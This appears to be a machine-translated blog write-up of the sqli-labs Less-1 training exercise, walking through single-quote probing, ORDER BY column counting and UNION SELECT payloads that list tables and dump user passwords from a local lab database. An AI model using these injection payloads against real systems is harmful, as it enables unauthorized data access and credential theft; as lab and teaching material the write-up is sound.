当前位置:网站首页>Sqli labs level 1
Sqli labs level 1
2022-07-02 08:33:00 【Defeat of Fujiwara Qianhua】
A record article written hastily
Concept
SQL Injection is to splice malicious code into normal database queries , Cause database information leakage and other hazards .
I think
To understand SQL Inject , Need a little knowledge of Network Planning , Better know Web The whole process of development , What technologies are used in the middle , Why do you need this technology . Of course , You first have to understand databases and SQL Inquire about , And programming language and SQL The combination of languages ( Recommend a Book 《 Introduction to Database System 》). With these foundations ,SQL Injection will naturally understand .
Customs clearance ideas
Input id, Login normal 
Try closing statement 
Single quote error , It is speculated that the backend query statement is :
select * from table where id = ’ input ’

adopt order by enumeration , The number of fields is 3
Because there is a lot of echo information , Priority joint injection 
It can be seen from the above figure , The first 2、 The first 3 Fields are echo information , Therefore, it can be constructed payload, Start injecting
Library name :
Table name :
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
Field name :
Field contents :
union select 1,2,group_concat(users,0x7e,password) from users --+
I've read several tutorials and the records when doing questions
1、 Different input id, There are different echo results , Guess backstage sql Statement for :select * from table where id= input;
2、 Single quote test , Report errors , Speculation backstage sql Statement for :select * from table where id = ‘input’;
3、 Construction statement , Single quote closure ,order by 4 error ---->3 Column fields ,select 1,2,3,–> Echo location ;
4、 Joint injection : union select 1,2,( Construct statements to query information )–+
1. Look for loopholes
2. Guess the number of fields
3. Get the database name
4. Look up the table
5. Check the field name and field value
边栏推荐
- Matlab-其它
- Jupyter Notebook常用快捷键(在命令模式中按H也可查看)
- Li Kou daily one question brushing summary: binary tree chapter (continuous update)
- sqli-labs(POST类型注入)
- Solid principle: explanation and examples
- Use Wireshark to grab TCP three handshakes
- Global and Chinese markets of tilting feeders 2022-2028: Research Report on technology, participants, trends, market size and share
- Force deduction method summary: find classes
- Don't know mock test yet? An article to familiarize you with mock
- How to uninstall SQL Server cleanly
猜你喜欢

On November 24, we celebrate the "full moon"

C language replaces spaces in strings with%20

Use Matplotlib to draw a preliminary chart

C language implements XML generation and parsing library (XML extension)

OpenCV 6.4 中值滤波器的使用

CarSim problem failed to start solver: path_ ID_ OBJ(X) was set to Y; no corresponding value of XXXXX?

OpenCV3 6.2 低通滤波器的使用

16: 00 interview, came out at 16:08, the question is really too

C language custom type enumeration, Union (clever use of enumeration, calculation of union size)

Principes fondamentaux de la théorie musicale (brève introduction)
随机推荐
OpenCV3 6.2 低通滤波器的使用
Using C language to realize MySQL true paging
Development of digital collection trading website development of metauniverse digital collection
Implementation of bidirectional linked list (simple difference, connection and implementation between bidirectional linked list and unidirectional linked list)
OpenCV3 6.3 用滤波器进行缩减像素采样
OpenCV 6.4 中值滤波器的使用
Library function of C language
What are the platforms for selling green label domain names? What is the green label domain name like?
Jupyter Notebook常用快捷键(在命令模式中按H也可查看)
Jz-061-serialized binary tree
MySQL optimization
Rotating linked list (illustration)
Deep understanding of JVM
sqli-labs(POST类型注入)
Detailed explanation of NIN network
Makefile Fundamentals
力扣每日一题刷题总结:栈与队列篇(持续更新)
Opencv's experience of confusing X and Y coordinates
Web安全--核心防御机制
Carla-UE4Editor导入RoadRunner地图文件(保姆级教程)